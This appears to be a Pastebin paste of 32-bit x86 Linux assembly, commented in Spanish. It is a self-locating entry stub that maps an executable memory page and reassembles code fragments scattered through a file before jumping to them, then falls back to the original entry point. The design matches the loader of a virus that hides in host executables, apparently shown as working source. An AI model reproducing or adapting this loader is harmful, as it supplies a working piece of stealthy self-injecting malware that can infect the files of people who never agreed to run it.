Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- .section .code_bottom, "xa"
- .long marker
- .long 0
- .long 0
- .globl frag_entry, assembled_entry, base_ref
- frag_entry: /* Esta es la entrada fragmentada */
- push $RETADDR
- pusha
- pushf
- call base_ref
- base_ref:
- pop %ebp
- sub $DESPLAZAMIENTO, %ebp /* Ajustamos el desplazamiento de la base */
- jmp reassemble
- assembled_entry: /* Punto de entrada del código ensamblado */
- call _start /* Llamamos a _start */
- boot_normal:
- popf /* Recuperamos EFLAGS */
- popa /* Recuperamos los registros */
- ret /* Y saltamos al punto de entrada */
- reassemble:
- cld
- /* Como vamos a hacer esto:
- mmap (IGNORADO, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, IGNORANDO, IGNORADO)
- Sólo tenemos que tocar los registros ecx, edx y esi */
- mov $4096, %ecx /* Nuestro código cabe en una página */
- mov $0x7, %edx /* Todos los permisos */
- mov $0x22, %esi /* Privado y anónimo */
- mov $0xc0, %eax /* SYS_mmap */
- int $0x80
- test $0xfff, %eax
- jnz boot_normal /* mmap falló, no podemos reensamblar el código */
- mov %eax, %edi /* Ahora bien, si ahora ha funcionado... */
- mov %eax, %edx /* Salvamos esta dirección en %edx */
- /*
- RECIBE:
- @edi: dirección obtenida por mmap
- @ebp: base del código
- MODIFICA:
- esi, eax, ecx
- */
- mov %ebp, %esi /* La zona continua está marcada por ebp */
- mov 4(%ebp), %ecx /* Su tamaño está 4 bytes más abajo */
- mov 8(%ebp), %eax /* Y el siguiente chunk por aquí */
- rep movsb /* Copiamos toda la zona contigua */
- /* Ahora debemos preparar el código para ensamblar */
- mov %ebp, %esi /* Metemos la base del código en esi */
- sub %eax, %esi /* Y restamos el desplazamiento hacia atrás */
- /* Listos para pasar a la rutina de reensamblado */
- /*
- RECIBE:
- @esi: dirección del chunk a copiar
- @edi: dirección de destino
- @ebp: base del código
- MODIFICA:
- eax, ecx, esi, edi
- */
- xor %ecx, %ecx
- assembler:
- mov 0(%esi), %eax /* Aquí irá la información del siguiente chunk */
- movb %al, %cl /* De la cual extraemos el tamaño */
- add $4, %esi /* Omitimos la cabecera */
- rep movsb /* Copiamos hasta 255 bytes */
- shr $8, %eax /* Esto es un desplazamiento hacia atrás */
- jz no_more_chunks /* Es 0: no hay más chunks */
- mov %ebp, %esi /* Construir la dirección del siguiente chunk: base */
- sub %eax, %esi /* Menos el desplazamiento hacia atrás */
- jmp assembler /* Y a ensamblar se ha dicho */
- no_more_chunks:
- /* Fin, saltamos al código terminado */
- mov %edx, %eax
- add $ASSEMBLED_ENTRY_OFFSET, %eax /* Punto de entrada del código ensamblado */
- jmp *%eax
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement